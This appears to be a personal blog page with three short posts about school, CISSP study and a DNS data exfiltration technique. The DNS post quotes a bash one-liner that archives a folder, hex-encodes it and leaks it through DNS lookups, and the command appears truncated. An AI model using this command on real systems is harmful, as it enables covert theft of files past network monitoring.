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adam's blog

Scool Stuff

School is keeping me pretty busy this semester. As it turns out, both classes I'm taking are "accelerated". Even though we're not covering a whole lot of stuff in the C programming class that I didn't already know, the ethics class is kicking my butt. the good news is that once classes are over, I'll get an extra month off between semesters because both classes were "accelerated". Yeah! Between semesters, I'll be getting back to studying for the CISSP certification, but I think I'll also be picking up my copy of Make: Electronics, and starting to blog my way through the book.

Data exfiltration over DNS

I recently read the interesting blog post about data exfiltration over at the Command Line Kung-Fu blog and it got me thinking. I realized that while Hal posted a handy bash one-liner for exfiltrating data via DNS lookups (tar zcf - localfolder | xxd -p -c 16 | while read line; do host $; done), there was no server component handy. You probably don't want to bounce these queries off a conventional DNS server, especially if you don't want to wait for the queries to time-out.

Back to school

Classes have started again at UMass Lowell, so I'm going to have a little less time for miscellaneous projects. But have no fear, I am still have a couple small projects up my sleeve, that I intend to post about.


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